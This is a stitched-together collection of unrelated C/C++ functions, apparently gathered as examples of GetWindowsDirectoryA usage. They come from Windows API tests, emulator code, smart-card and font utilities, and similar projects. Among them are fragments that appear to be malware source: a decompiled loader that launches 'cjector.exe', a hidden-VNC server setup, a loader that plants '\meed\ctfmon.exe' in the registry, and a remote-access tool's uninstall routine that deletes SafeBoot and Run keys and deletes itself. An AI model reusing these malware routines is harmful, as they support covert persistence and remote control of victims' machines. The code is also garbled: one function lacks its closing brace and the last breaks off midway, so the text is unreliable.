/* If you change something in these tests, please do the same
* for GetSystemDirectory tests.
*/
static void test_GetWindowsDirectoryA(void)
{
UINT len, len_with_null;
char buf[MAX_PATH];
len_with_null = GetWindowsDirectoryA(NULL, 0);
ok(len_with_null <= MAX_PATH, "should fit into MAX_PATH\n");
lstrcpyA(buf, "foo");
len_with_null = GetWindowsDirectoryA(buf, 1);
ok(lstrcmpA(buf, "foo") == 0, "should not touch the buffer\n");
lstrcpyA(buf, "foo");
len = GetWindowsDirectoryA(buf, len_with_null - 1);
ok(lstrcmpA(buf, "foo") == 0, "should not touch the buffer\n");
ok(len == len_with_null, "GetWindowsDirectoryW returned %d, expected %d\n",
len, len_with_null);
lstrcpyA(buf, "foo");
len = GetWindowsDirectoryA(buf, len_with_null);
ok(lstrcmpA(buf, "foo") != 0, "should touch the buffer\n");
ok(len == strlen(buf), "returned length should be equal to the length of string\n");
ok(len == len_with_null-1, "GetWindowsDirectoryA returned %d, expected %d\n",
len, len_with_null-1);
}
/* get the search path for the current module; helper for OpenFile16 */
static char *get_search_path(void)
{
UINT len;
char *ret, *p, module[OFS_MAXPATHNAME];
module[0] = 0;
if (GetCurrentTask() && GetModuleFileName16( GetCurrentTask(), module, sizeof(module) ))
{
if (!(p = strrchr( module, '\\' ))) p = module;
*p = 0;
}
len = (2 + /* search order: first current dir */
GetSystemDirectory16( NULL, 0 ) + 1 + /* then system dir */
GetWindowsDirectoryA( NULL, 0 ) + 1 + /* then windows dir */
strlen( module ) + 1 + /* then module path */
GetEnvironmentVariableA( "PATH", NULL, 0 ) + 1); /* then look in PATH */
if (!(ret = HeapAlloc( GetProcessHeap(), 0, len ))) return NULL;
strcpy( ret, ".;" );
p = ret + 2;
GetSystemDirectory16( p, ret + len - p );
p += strlen( p );
*p++ = ';';
GetWindowsDirectoryA( p, ret + len - p );
p += strlen( p );
*p++ = ';';
if (module[0])
{
strcpy( p, module );
p += strlen( p );
*p++ = ';';
}
GetEnvironmentVariableA( "PATH", p, ret + len - p );
return ret;
}
static void testNestedLoadLibraryA(void)
{
static const char dllname[] = "shell32.dll";
char path1[MAX_PATH], path2[MAX_PATH];
HMODULE hModule1, hModule2, hModule3;
/* This is not really a Windows conformance test, but more a Wine
* regression test. Wine's builtin dlls can be loaded from multiple paths,
* and this test tries to make sure that Wine does not get confused and
* really unloads the Unix .so file at the right time. Failure to do so
* will result in the dll being unloadable.
* This test must be done with a dll that can be unloaded, which means:
* - it must not already be loaded
* - it must not have a 16-bit counterpart
*/
GetWindowsDirectoryA(path1, sizeof(path1));
strcat(path1, "\\system\\");
strcat(path1, dllname);
hModule1 = LoadLibraryA(path1);
if (!hModule1)
{
/* We must be on Windows NT, so we cannot test */
return;
}
GetWindowsDirectoryA(path2, sizeof(path2));
strcat(path2, "\\system32\\");
strcat(path2, dllname);
hModule2 = LoadLibraryA(path2);
if (!hModule2)
{
/* We must be on Windows 9x, so we cannot test */
ok(FreeLibrary(hModule1), "FreeLibrary() failed\n");
return;
}
/* The first LoadLibrary() call may have registered the dll under the
* system32 path. So load it, again, under the '...\system\...' path so
* Wine does not immediately notice that it is already loaded.
*/
hModule3 = LoadLibraryA(path1);
ok(hModule3 != NULL, "LoadLibrary(%s) failed\n", path1);
/* Now fully unload the dll */
ok(FreeLibrary(hModule3), "FreeLibrary() failed\n");
ok(FreeLibrary(hModule2), "FreeLibrary() failed\n");
ok(FreeLibrary(hModule1), "FreeLibrary() failed\n");
ok(GetModuleHandleA(dllname) == NULL, "%s was not fully unloaded\n", dllname);
/* Try to load the dll again, if refcounting is ok, this should work */
hModule1 = LoadLibraryA(path1);
ok(hModule1 != NULL, "LoadLibrary(%s) failed\n", path1);
if (hModule1 != NULL)
ok(FreeLibrary(hModule1), "FreeLibrary() failed\n");
}
/***********************************************************************
* DESKTOP_LoadBitmap
*
* Load a bitmap from a file. Used by SetDeskWallPaper().
*/
static HBITMAP DESKTOP_LoadBitmap( HDC hdc, const char *filename )
{
BITMAPFILEHEADER *fileHeader;
BITMAPINFO *bitmapInfo;
HBITMAP hbitmap;
HFILE file;
LPSTR buffer;
LONG size;
/* Read all the file into memory */
if ((file = _lopen( filename, OF_READ )) == HFILE_ERROR)
{
UINT len = GetWindowsDirectoryA( NULL, 0 );
if (!(buffer = HeapAlloc( GetProcessHeap(), 0,
len + strlen(filename) + 2 )))
return 0;
GetWindowsDirectoryA( buffer, len + 1 );
strcat( buffer, "\\" );
strcat( buffer, filename );
file = _lopen( buffer, OF_READ );
HeapFree( GetProcessHeap(), 0, buffer );
}
if (file == HFILE_ERROR) return 0;
size = _llseek( file, 0, 2 );
if (!(buffer = HeapAlloc( GetProcessHeap(), 0, size )))
{
_lclose( file );
return 0;
}
_llseek( file, 0, 0 );
size = _lread( file, buffer, size );
_lclose( file );
fileHeader = (BITMAPFILEHEADER *)buffer;
bitmapInfo = (BITMAPINFO *)(buffer + sizeof(BITMAPFILEHEADER));
/* Check header content */
if ((fileHeader->bfType != 0x4d42) || (size < fileHeader->bfSize))
{
HeapFree( GetProcessHeap(), 0, buffer );
return 0;
}
hbitmap = CreateDIBitmap( hdc, &bitmapInfo->bmiHeader, CBM_INIT,
buffer + fileHeader->bfOffBits,
bitmapInfo, DIB_RGB_COLORS );
HeapFree( GetProcessHeap(), 0, buffer );
return hbitmap;
}
int sc_get_cache_dir(sc_context_t *ctx, char *buf, size_t bufsize)
{
char *homedir;
const char *cache_dir;
#ifdef _WIN32
char temp_path[PATH_MAX];
#endif
#ifndef _WIN32
cache_dir = ".eid/cache";
homedir = getenv("HOME");
#else
cache_dir = "eid-cache";
homedir = getenv("USERPROFILE");
/* If USERPROFILE isn't defined, assume it's a single-user OS
* and put the cache dir in the Windows dir (usually C:\\WINDOWS) */
if (homedir == NULL || homedir[0] == '\0') {
GetWindowsDirectoryA(temp_path, sizeof(temp_path));
homedir = temp_path;
}
#endif
if (homedir == NULL)
return SC_ERROR_INTERNAL;
if (snprintf(buf, bufsize, "%s/%s", homedir, cache_dir) < 0)
return SC_ERROR_BUFFER_TOO_SMALL;
return SC_SUCCESS;
}
static bool readDefaultFontFaceBytes(void** mem, size_t* size)
{
#if LOOM_PLATFORM == LOOM_PLATFORM_WIN32
// Get Windows dir
char windir[MAX_PATH];
GetWindowsDirectoryA((LPSTR)&windir, MAX_PATH);
// Load font file
return readFontFile((utString(windir) + "\\Fonts\\arial.ttf").c_str(), mem, size) != 0;
// Kept for future implementation of grabbing fonts by name
/*
SDL_SysWMinfo info;
SDL_VERSION(&info.version);
if (SDL_GetWindowWMInfo(gSDLWindow, &info)) {
HWND windowHandle = info.info.win.window;
HDC deviceContext = GetDC(windowHandle);
DWORD size = GetFontData(deviceContext, 0, 0, NULL, 0);
lmAssert(size != GDI_ERROR, "Font data retrieval failed: %d", GetLastError());
}
else {
lmLogError(gGFXVectorRendererLogGroup, "Error retrieving window information: %s", SDL_GetError());
}
*/
#elif LOOM_PLATFORM == LOOM_PLATFORM_ANDROID
return readFontFile("/system/fonts/DroidSans.ttf", mem, size) != 0;
#elif LOOM_PLATFORM == LOOM_PLATFORM_OSX
return readFontFile("/Library/Fonts/Arial.ttf", mem, size) != 0;
#elif LOOM_PLATFORM == LOOM_PLATFORM_IOS
return (bool)platform_fontSystemFontFromName("ArialMT", mem, (unsigned int*)size);
#else
mem = NULL;
size = 0;
#endif
}
std::string getWindowsPath(){
if( !GetWindowsDirectoryA( infoBuf, INFO_BUFFER_SIZE ) ){
return "";
}
std::string ret = infoBuf;
ret += "\\";
return ret;
}
void specialname_map_init(void)
{
char letter[3];
char buf[MAX_PATH];
char c;
unsigned int idx = 0;
unsigned int i, x;
size_t len;
letter[1] = ':';
letter[2] = '\0';
for (c = 'A'; c <= 'Z'; c++) {
letter[0] = c;
if (QueryDosDeviceA(letter, buf, MAX_PATH)) {
g_specialnames_a[idx] = strdup(letter);
g_targetnames_a[idx] = strdup(buf);
idx++;
}
}
GetWindowsDirectoryA(buf, MAX_PATH);
g_targetnames_a[idx] = strdup("\\systemroot");
g_specialnames_a[idx] = strdup(buf);
idx++;
len = strlen(buf) + strlen("\\system32");
system32dir_a = calloc(1, len + 1);
system32dir_w = calloc(1, (len + 1) * sizeof(wchar_t));
strcpy(system32dir_a, buf);
strcat(system32dir_a, "\\system32");
for (x = 0; x < len - strlen("\\system32"); x++)
system32dir_w[x] = (wchar_t)buf[x];
wcscat(system32dir_w, L"\\system32");
system32dir_len = (unsigned int)len;
len = strlen(buf) + strlen("\\sysnative");
sysnativedir_a = calloc(1, len + 1);
sysnativedir_w = calloc(1, (len + 1) * sizeof(wchar_t));
strcpy(sysnativedir_a, buf);
strcat(sysnativedir_a, "\\sysnative");
for (x = 0; x < len - strlen("\\sysnative"); x++)
sysnativedir_w[x] = (wchar_t)buf[x];
wcscat(sysnativedir_w, L"\\sysnative");
sysnativedir_len = (unsigned int)len;
for (i = 0; i < idx; i++) {
len = strlen(g_specialnames_a[i]) + 1;
g_specialnames_w[i] = (wchar_t *)malloc(len * sizeof(wchar_t));
for (x = 0; x < len; x++)
g_specialnames_w[i][x] = (wchar_t)g_specialnames_a[i][x];
len = strlen(g_targetnames_a[i]) + 1;
g_targetnames_w[i] = (wchar_t *)malloc(len * sizeof(wchar_t));
for (x = 0; x < len; x++)
g_targetnames_w[i][x] = (wchar_t)g_targetnames_a[i][x];
}
g_num_specialnames = idx;
}
/*
* @implemented
*/
UINT
WINAPI
GetSystemWindowsDirectoryA(
LPSTR lpBuffer,
UINT uSize
)
{
return GetWindowsDirectoryA( lpBuffer, uSize );
}
static void getNotepadPath(WCHAR *notepadPathW, DWORD size)
{
static const CHAR notepad[] = "\\notepad.exe";
CHAR notepadPath[MAX_PATH];
/* Workaround missing W-functions for win9x */
GetWindowsDirectoryA(notepadPath, MAX_PATH);
lstrcatA(notepadPath, notepad);
MultiByteToWideChar(0, 0, notepadPath, -1, notepadPathW, size);
}
static RETERR16 VCP_UI_CopyStart(void)
{
LPCVOID template32;
char buf[256]; /* plenty */
BOOL dirty;
DWORD len;
/* FIXME: should be registered at DLL startup instead */
VCP_UI_RegisterProgressClass();
if (!(VCP_UI_GetDialogTemplate(&template32)))
return VCPN_FAIL;
if (vn_num > 10) /* hack */
{
hDlgCopy = CreateDialogIndirectParamA(SETUPAPI_hInstance, template32, 0,
VCP_UI_FileCopyDlgProc, 0);
if (!hDlgCopy)
return VCPN_FAIL;
SetDlgItemTextA(hDlgCopy, SOURCESTRORD, "Scanning ...");
SetDlgItemTextA(hDlgCopy, DESTSTRORD, "NOT_IMPLEMENTED_YET");
}
strcpy(buf, REG_INSTALLEDFILES);
if (RegCreateKeyA(HKEY_LOCAL_MACHINE, buf, &hKeyFiles))
return VCPN_FAIL;
strcat(buf, REGPART_RENAME);
if (RegCreateKeyA(HKEY_LOCAL_MACHINE, buf, &hKeyRename))
return VCPN_FAIL;
if (RegCreateKeyA(HKEY_LOCAL_MACHINE, REG_VERSIONCONFLICT, &hKeyConflict))
return VCPN_FAIL;
len = 1;
if (!(RegQueryValueExA(hKeyConflict, "Dirty", NULL, 0, (LPBYTE)&dirty, &len)))
{
/* FIXME: what does SETUPX.DLL do in this case ? */
MESSAGE("Warning: another program using SETUPX is already running ! Failed.\n");
return VCPN_FAIL;
}
dirty = TRUE;
if (RegSetValueExA(hKeyConflict, "Dirty", 0, REG_BINARY, (LPBYTE)&dirty, 1))
return VCPN_FAIL;
len = 12;
if (!(RegQueryValueExA(hKeyConflict, "BackupDirectory", NULL, 0, (LPBYTE)BackupDir, &len)))
strcpy(BackupDir, "VCM");
/* create C:\WINDOWS\[BackupDir] and set registry key to it */
GetWindowsDirectoryA(buf, 256);
strcat(buf, "\\");
strcat(buf, BackupDir);
if (!(CreateDirectoryA(buf, NULL)))
return VCPN_FAIL;
if (RegSetValueExA(hKeyConflict, "BackupDirectory", 0, REG_SZ, (LPBYTE)buf, strlen(buf)+1))
return VCPN_FAIL;
RegCloseKey(hKeyConflict);
return VCPN_OK;
}
static BOOL BuildAndSetFolderPath(
HKEY hKey,
DWORD dwFlags,
DWORD csidl,
LPSTR szPath)
{
if (dwFlags & CSIDL_MYFLAG_RELATIVE)
{
if (!GetWindowsDirectoryA(szPath, MAX_PATH))
return FALSE;
PathAddBackslashA(szPath);
}
#ifdef __APPLE__
/* On the Apple, user prefs are stored on P:\ which gets
mapped into the user's preferences folder */
else if ((dwFlags & (CSIDL_MYFLAG_USERPREFS | CSIDL_MYFLAG_ALLPREFS)) &&
PathIsDirectoryA ("P:\\"))
{
if (dwFlags & CSIDL_MYFLAG_USERPREFS)
strcpy (szPath, "P:\\User\\");
else if (dwFlags & CSIDL_MYFLAG_ALLPREFS)
strcpy (szPath, "P:\\All Users\\");
}
#endif
else
{
strcpy(szPath, "C:\\");
if (dwFlags & CSIDL_MYFLAG_USERPREFS)
strcat (szPath, "Documents and Settings\\User\\");
else if (dwFlags & CSIDL_MYFLAG_ALLPREFS)
strcat (szPath, "Documents and Settings\\All Users\\");
}
if (CSIDL_Data[csidl].szDefaultPath[0])
strcat(szPath, CSIDL_Data[csidl].szDefaultPath);
else
{
size_t Len;
/* Remove trailing backslash, as paths from this set of shell functions
shouldn't have them */
Len = strlen (szPath);
if (szPath[Len - 1] == '\\')
szPath[Len - 1] = 0;
}
if (hKey && RegSetValueExA(hKey,CSIDL_Data[csidl].szValueName,0,REG_SZ,
(LPBYTE)szPath,strlen(szPath)+1))
{
return FALSE;
}
SHCreateDirectoryExA (NULL, szPath, NULL);
return TRUE;
}
// address: 0x10001140
void _start(__size32 param1) {
__size32 eax; // r24
if (param1 == 1) {
GetWindowsDirectoryA();
lstrcatA("", "\cjector.exe");
eax = proc3();
if (eax != 0) {
ShellExecuteA(0, "open", "", 0, 0, 0);
}
}
vl::String get_system_font_directory()
{
#ifdef _WIN32
char buffer[MAX_PATH];
memset(buffer,0,sizeof(char)*MAX_PATH);
GetWindowsDirectoryA(buffer,MAX_PATH);
return vl::String(buffer) + "/fonts";
#else
/* Ubuntu's Microsoft TrueType Core Fonts directory */
return "/usr/share/fonts/truetype/msttcorefonts";
#endif
}
bool InitGlobalData(PHVNC lpServer)
{
bool ret_val=false;
do
{
lpServer->hGlobalVNCMapping=CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_READWRITE,0,sizeof(GLOBAL_VNC_DATA),lpServer->Names.szGlobalMappingName);
lpServer->lpGlobalVNCData=(GLOBAL_VNC_DATA *)MapViewOfFile(lpServer->hGlobalVNCMapping,FILE_MAP_ALL_ACCESS,0,0,0);
if ((!lpServer->lpGlobalVNCData) || (GetLastError() == ERROR_ALREADY_EXISTS))
break;
lpServer->lpGlobalVNCData->dwVNCMessage=RegisterWindowMessageA(lpServer->DeskInfo.szDeskName);
if (!lpServer->lpGlobalVNCData->dwVNCMessage)
break;
lpServer->EventsInfo.hInputMutex=CreateMutex(NULL,false,lpServer->Names.szInputMutex);
if ((!lpServer->EventsInfo.hInputMutex) || (GetLastError() == ERROR_ALREADY_EXISTS))
break;
lpServer->EventsInfo.hPaintMutex=CreateMutex(NULL,false,NULL);
if (!lpServer->EventsInfo.hPaintMutex)
break;
lpServer->EventsInfo.hSharedMemMutex=CreateMutex(NULL,false,lpServer->Names.szSharedMemMutex);
if ((!lpServer->EventsInfo.hSharedMemMutex) || (GetLastError() == ERROR_ALREADY_EXISTS))
break;
lpServer->EventsInfo.hSendThreadMessageMutex=CreateMutex(NULL,false,lpServer->Names.szSendThreadMessageMutex);
if ((!lpServer->EventsInfo.hSendThreadMessageMutex) || (GetLastError() == ERROR_ALREADY_EXISTS))
break;
lpServer->EventsInfo.hSendThreadMessageEvent=CreateEvent(NULL,true,false,lpServer->Names.szSendThreadMessageEvent);
if ((!lpServer->EventsInfo.hSendThreadMessageEvent) || (GetLastError() == ERROR_ALREADY_EXISTS))
break;
lpServer->EventsInfo.hVNCKillEvent=CreateEvent(NULL,true,false,lpServer->Names.szVNCKillEventName);
if ((!lpServer->EventsInfo.hVNCKillEvent) || (GetLastError() == ERROR_ALREADY_EXISTS))
break;
lpServer->EventsInfo.hClipboardUpdatedEvent=CreateEvent(NULL,false,false,lpServer->Names.szClipboardUpdatedEvent);
if ((!lpServer->EventsInfo.hClipboardUpdatedEvent) || (GetLastError() == ERROR_ALREADY_EXISTS))
break;
if ((GetWindowsDirectoryA(lpServer->Names.szShell,sizeof(lpServer->Names.szShell))) || (GetEnvironmentVariableA("windir",lpServer->Names.szShell,sizeof(lpServer->Names.szShell))))
lstrcatA(lpServer->Names.szShell,"\\explorer.exe");
else
break;
ret_val=true;
}
while (false);
return ret_val;
}
static BOOL check_format(LPSTR path, LPSTR inf)
{
CHAR check[MAX_PATH];
BOOL res;
static const CHAR format[] = "\\INF\\oem";
GetWindowsDirectoryA(check, MAX_PATH);
strcat(check, format);
res = CompareStringA(LOCALE_SYSTEM_DEFAULT, NORM_IGNORECASE, check, -1, path, strlen(check)) == CSTR_EQUAL &&
path[strlen(check)] != '\\';
return (!inf) ? res : res && (inf == path + strlen(check) - 3);
}
static int InitSymEng(void)
{
HANDLE hProcess = GetCurrentProcess();
char szPath[MAX_PATH + 128];
HMODULE hDbgHelp;
GetWindowsDirectoryA(szPath, sizeof(szPath));
strcat(szPath, "\\symbols\\dbghelp\\"
#ifdef _WIN64
"x64"
#else
"x86"
#endif
"\\dbghelp.dll"
);
if ((hDbgHelp = LoadLibraryA(szPath)) &&
(SymInitialize = (fpSymInitialize)GetProcAddress(hDbgHelp, "SymInitialize")) &&
(SymSetOptions = (fpSymSetOptions)GetProcAddress(hDbgHelp, "SymSetOptions")) &&
(SymGetOptions = (fpSymGetOptions)GetProcAddress(hDbgHelp, "SymGetOptions")) &&
(SymSetSearchPath = (fpSymSetSearchPath)GetProcAddress(hDbgHelp, "SymSetSearchPath")) &&
(SymLoadModule64 = (fpSymLoadModule64)GetProcAddress(hDbgHelp, "SymLoadModule64")) &&
(SymFromName = (fpSymFromName)GetProcAddress(hDbgHelp, "SymFromName")) &&
(SymUnloadModule64 = (fpSymUnloadModule64)GetProcAddress(hDbgHelp, "SymUnloadModule64"))
)
{
strcpy(szPath, "SRV*");
GetTempPathA(sizeof(szPath) - 4, szPath + 4);
strcat(szPath, "SymbolCache");
CreateDirectoryA(szPath + 4, NULL);
strcat(szPath, "*http://msdl.microsoft.com/download/symbols");
if (!SymInitialize(hProcess, 0, FALSE))
{
TRACE("SymInitialize failed: %08X", GetLastError());
return -2;
}
TRACE("Symsrv options: %08X", SymGetOptions());
SymSetOptions(SymGetOptions() | SYMOPT_ALLOW_ABSOLUTE_SYMBOLS | SYMOPT_DEBUG);
SymSetOptions(SymGetOptions() & (~SYMOPT_DEFERRED_LOADS));
SymSetSearchPath(hProcess, szPath);
return 0;
}
TRACE("InitSymEng failed.");
return -1;
}
/* Test dirid values */
static void test_dirid(void)
{
char expected[MAX_PATH];
check_dirid(DIRID_NULL, "");
GetWindowsDirectoryA(expected, MAX_PATH);
check_dirid(DIRID_WINDOWS, expected);
GetSystemDirectoryA(expected, MAX_PATH);
check_dirid(DIRID_SYSTEM, expected);
strcat(expected, "\\unknown");
check_dirid(40, expected);
}
static void get_directories(void)
{
int len;
GetCurrentDirectoryA(MAX_PATH, CURR_DIR);
len = lstrlenA(CURR_DIR);
if(len && (CURR_DIR[len-1] == '\\'))
CURR_DIR[len-1] = 0;
GetWindowsDirectoryA(WIN_DIR, MAX_PATH);
len = lstrlenA(WIN_DIR);
if (len && (WIN_DIR[len-1] == '\\'))
WIN_DIR[len-1] = 0;
}
static BOOL install_cab(LPCWSTR file_name)
{
HMODULE advpack;
char install_dir[MAX_PATH];
HRESULT (WINAPI *pExtractFilesA)(LPCSTR,LPCSTR,DWORD,LPCSTR,LPVOID,DWORD);
LPSTR file_name_a;
DWORD res;
HRESULT hres;
static const WCHAR wszAdvpack[] = {'a','d','v','p','a','c','k','.','d','l','l',0};
TRACE("(%s)\n", debugstr_w(file_name));
GetWindowsDirectoryA(install_dir, sizeof(install_dir));
strcat(install_dir, "\\gecko\\");
res = CreateDirectoryA(install_dir, NULL);
if(!res && GetLastError() != ERROR_ALREADY_EXISTS) {
ERR("Could not create directory: %08u\n", GetLastError());
return FALSE;
}
strcat(install_dir, GECKO_VERSION);
res = CreateDirectoryA(install_dir, NULL);
if(!res && GetLastError() != ERROR_ALREADY_EXISTS) {
ERR("Could not create directory: %08u\n", GetLastError());
return FALSE;
}
advpack = LoadLibraryW(wszAdvpack);
pExtractFilesA = (void *)GetProcAddress(advpack, "ExtractFiles");
/* FIXME: Use unicode version (not yet implemented) */
file_name_a = heap_strdupWtoA(file_name);
hres = pExtractFilesA(file_name_a, install_dir, 0, NULL, NULL, 0);
FreeLibrary(advpack);
heap_free(file_name_a);
if(FAILED(hres)) {
ERR("Could not extract package: %08x\n", hres);
clean_up();
return FALSE;
}
set_registry(install_dir);
clean_up();
return TRUE;
}
BOOL Loader2()
{
// __try
// {
if ( sub_40234B(0) )
{
//__asm int 3
//OutputDebugStringA("sssssss");
CHAR szWindowsPath[MAX_PATH] = {0};
GetWindowsDirectoryA(szWindowsPath, MAX_PATH * sizeof(CHAR));
strcat(szWindowsPath,"\\meed\\ctfmon.exe");
//_asm int 3
WriteReg(szWindowsPath);
DWORD dwExitCode;
GetExitCodeProcess(hProcess,&dwExitCode);
TerminateProcess(hProcess,dwExitCode);
// do
// {
// Sleep(1);
// } while (!TerminateProcess(hProcess,dwExitCode));
// if (hProcess) CloseHandle(hProcess);
//CProcess::KillAllProcessByName(TEXT("regedit.exe"));
Sleep(0x64u);
}
// }
//
// _except(EXCEPTION_EXECUTE_HANDLER)
// {
// return 1;
// }
return 0;
//MoveFileA((LPCSTR)v45, (LPCSTR)v44);
}
void CKernelManager::UnInstallService()
{
char strRandomFile[MAX_PATH];
char szTempPath[MAX_PATH];
GetTempPathA(MAX_PATH,szTempPath);
wsprintf(strRandomFile, "%s%d.bak",szTempPath, GetTickCount());
//删除注册表
//取得的目录结尾不带斜杠
CHAR szWindowsPath[MAX_PATH] = {0};
GetWindowsDirectoryA(szWindowsPath, MAX_PATH * sizeof(CHAR));
strcat(szWindowsPath,"\\meed\\SbieDll.dll.bak");
MoveFileEx(szWindowsPath,strRandomFile,MOVEFILE_DELAY_UNTIL_REBOOT);
//停止插件工作
StopAutoScreen();
// //安装后的目标文件
// CHAR szObjInstallName[MAX_PATH] = {0};
// wsprintfA(szObjInstallName, "%s\\%s", szWindowsPath, "meed\\svchost.exe");
//
// CKeyboardManager::MyMoveFile(szObjInstallName, strRandomFile);
RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\option");
RegDeleteKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Microsoft\\Windows\\CurrentVersion\\Run\\Netman");
DelSelfFile();
HANDLE hEvent=OpenEvent(EVENT_ALL_ACCESS,FALSE,TEXT("nimdkeikd"));
if (hEvent)
{
SetEvent(hEvent);
CloseHandle(hEvent);
Sleep(2000);
}
ExitProcess(0);
}
/* FindFirstVolumeA/FindNextVolumeA list. */
static void test_enum_vols(void)
{
DWORD ret;
HANDLE hFind = INVALID_HANDLE_VALUE;
char Volume_1[MAX_PATH] = {0};
char Volume_2[MAX_PATH] = {0};
char path[] = "c:\\";
BOOL found = FALSE;
char windowsdir[MAX_PATH];
if (!pGetVolumeNameForVolumeMountPointA) {
win_skip("GetVolumeNameForVolumeMountPointA not found\n");
return;
}
/*get windows drive letter and update strings for testing */
ret = GetWindowsDirectoryA( windowsdir, sizeof(windowsdir) );
ok(ret < sizeof(windowsdir), "windowsdir is abnormally long!\n");
ok(ret != 0, "GetWindowsDirectory: error %d\n", GetLastError());
path[0] = windowsdir[0];
/* get the unique volume name for the windows drive */
ret = pGetVolumeNameForVolumeMountPointA( path, Volume_1, MAX_PATH );
ok(ret == TRUE, "GetVolumeNameForVolumeMountPointA failed\n");
ok(strlen(Volume_1) == 49, "GetVolumeNameForVolumeMountPointA returned wrong length name %s\n", Volume_1);
/* get first unique volume name of list */
hFind = pFindFirstVolumeA( Volume_2, MAX_PATH );
ok(hFind != INVALID_HANDLE_VALUE, "FindFirstVolume failed, err=%u\n",
GetLastError());
do
{
/* validate correct length of unique volume name */
ok(strlen(Volume_2) == 49, "Find[First/Next]Volume returned wrong length name %s\n", Volume_1);
if (memcmp(Volume_1, Volume_2, 49) == 0)
{
found = TRUE;
break;
}
} while (pFindNextVolumeA( hFind, Volume_2, MAX_PATH ));
ok(found, "volume name %s not found by Find[First/Next]Volume\n", Volume_1);
pFindVolumeClose( hFind );
}
/*
* @implemented
*/
HINSTANCE
WINAPI
DECLSPEC_HOTPATCH
LoadLibraryA(LPCSTR lpLibFileName)
{
LPSTR PathBuffer;
UINT Len;
HINSTANCE Result;
/* Treat twain_32.dll in a special way (what a surprise...) */
if (lpLibFileName && !_strcmpi(lpLibFileName, "twain_32.dll"))
{
/* Allocate space for the buffer */
PathBuffer = RtlAllocateHeap(RtlGetProcessHeap(), 0, MAX_PATH);
if (PathBuffer)
{
/* Get windows dir in this buffer */
Len = GetWindowsDirectoryA(PathBuffer, MAX_PATH - 13); /* 13 is sizeof of '\\twain_32.dll' */
if (Len && Len < (MAX_PATH - 13))
{
/* We successfully got windows directory. Concatenate twain_32.dll to it */
strncat(PathBuffer, "\\twain_32.dll", 13);
/* And recursively call ourselves with a new string */
Result = LoadLibraryA(PathBuffer);
/* If it was successful - free memory and return result */
if (Result)
{
RtlFreeHeap(RtlGetProcessHeap(), 0, PathBuffer);
return Result;
}
}
/* Free allocated buffer */
RtlFreeHeap(RtlGetProcessHeap(), 0, PathBuffer);
}
}
/* Call the Ex version of the API */
return LoadLibraryExA(lpLibFileName, 0, 0);
}
eEsifError EsifCfgMgrInit ()
{
#ifdef ESIF_ATTR_OS_WINDOWS
if (GetWindowsDirectoryA(g_DataVaultDir, sizeof(g_DataVaultDir)) == 0)
esif_ccb_strcpy(g_DataVaultDir, "C:\\Windows", sizeof(g_DataVaultDir));
esif_ccb_strcat(g_DataVaultDir, "\\ServiceProfiles\\LocalService\\AppData\\Local\\Intel\\DPTF\\", sizeof(g_DataVaultDir));
#else
esif_ccb_strcpy(g_DataVaultDir, "/etc/dptf/", sizeof(g_DataVaultDir));
#endif
#ifdef BIG_LOCK
esif_ccb_mutex_init(&g_shellLock);
#endif
if (!g_DataBankMgr) {
g_DataBankMgr = DataBank_Create();
if (g_DataBankMgr) {
return DataBank_LoadDataVaults(g_DataBankMgr);
}
}
return ESIF_E_NO_MEMORY;
}
int sc_get_cache_dir(sc_context_t *ctx, char *buf, size_t bufsize)
{
char *homedir;
const char *cache_dir;
scconf_block *conf_block = NULL;
#ifdef _WIN32
char temp_path[PATH_MAX];
#endif
conf_block = sc_get_conf_block(ctx, "framework", "pkcs15", 1);
cache_dir = scconf_get_str(conf_block, "file_cache_dir", NULL);
if (cache_dir != NULL) {
if (bufsize <= strlen(cache_dir))
return SC_ERROR_BUFFER_TOO_SMALL;
strcpy(buf, cache_dir);
return SC_SUCCESS;
}
#ifndef _WIN32
cache_dir = ".eid/cache";
homedir = getenv("HOME");
#else
cache_dir = "eid-cache";
homedir = getenv("USERPROFILE");
/* If USERPROFILE isn't defined, assume it's a single-user OS
* and put the cache dir in the Windows dir (usually C:\\WINDOWS) */
if (homedir == NULL || homedir[0] == '\0') {
GetWindowsDirectoryA(temp_path, sizeof(temp_path));
homedir = temp_path;
}
#endif
if (homedir == NULL)
return SC_ERROR_INTERNAL;
if (snprintf(buf, bufsize, "%s/%s", homedir, cache_dir) < 0)
return SC_ERROR_BUFFER_TOO_SMALL;
return SC_SUCCESS;
}
void noise_get_heavy(void (*func) (void *, int))
{
HANDLE srch;
WIN32_FIND_DATAA finddata;
DWORD pid;
char winpath[MAX_PATH + 3];
GetWindowsDirectoryA(winpath, sizeof(winpath));
strcat(winpath, "\\*");
srch = FindFirstFileA(winpath, &finddata);
if (srch != INVALID_HANDLE_VALUE) {
do {
func(&finddata, sizeof(finddata));
} while (FindNextFileA(srch, &finddata));
FindClose(srch);
}
pid = GetCurrentProcessId();
func(&pid, sizeof(pid));
read_random_seed(func);
/* Update the seed immediately, in case another instance uses it. */
random_save_seed();
}
static void test_find_file(void)
{
DWORD ret;
UINT dwCur, dwOut ;
char appdir[MAX_PATH];
char curdir[MAX_PATH];
char filename[MAX_PATH];
char outBuf[MAX_PATH];
char windir[MAX_PATH];
static CHAR empty[] = "",
regedit[] = "regedit",
regedit_exe[] = "regedit.exe";
memset(appdir, 0, MAX_PATH);
memset(windir, 0, MAX_PATH);
dwCur=MAX_PATH;
dwOut=MAX_PATH;
memset(curdir, 0, MAX_PATH);
memset(outBuf, 0, MAX_PATH);
ret = VerFindFileA(0, regedit, empty, empty, curdir, &dwCur, outBuf, &dwOut);
switch(ret) {
case 0L:
ok(dwCur == 1, "Wrong length of buffer for current location: "
"got %d(%s) expected 1\n", dwCur, curdir);
ok(dwOut == 1, "Wrong length of buffer for the recommended installation location: "
"got %d(%s) expected 1\n", dwOut, outBuf);
break;
case VFF_BUFFTOOSMALL:
ok(dwCur == MAX_PATH, "Wrong length of buffer for current location: "
"got %d(%s) expected MAX_PATH\n", dwCur, curdir);
ok(dwOut == MAX_PATH, "Wrong length of buffer for the recommended installation location: "
"got %d(%s) expected MAX_PATH\n", dwOut, outBuf);
break;
default:
ok(0, "Got unexpected return value %x\n", ret);
}
if(!GetWindowsDirectoryA(windir, MAX_PATH))
trace("GetWindowsDirectoryA failed\n");
else {
sprintf(appdir, "%s\\regedit.exe", windir);
if(INVALID_FILE_ATTRIBUTES == GetFileAttributesA(appdir))
trace("GetFileAttributesA(%s) failed\n", appdir);
else {
dwCur=MAX_PATH;
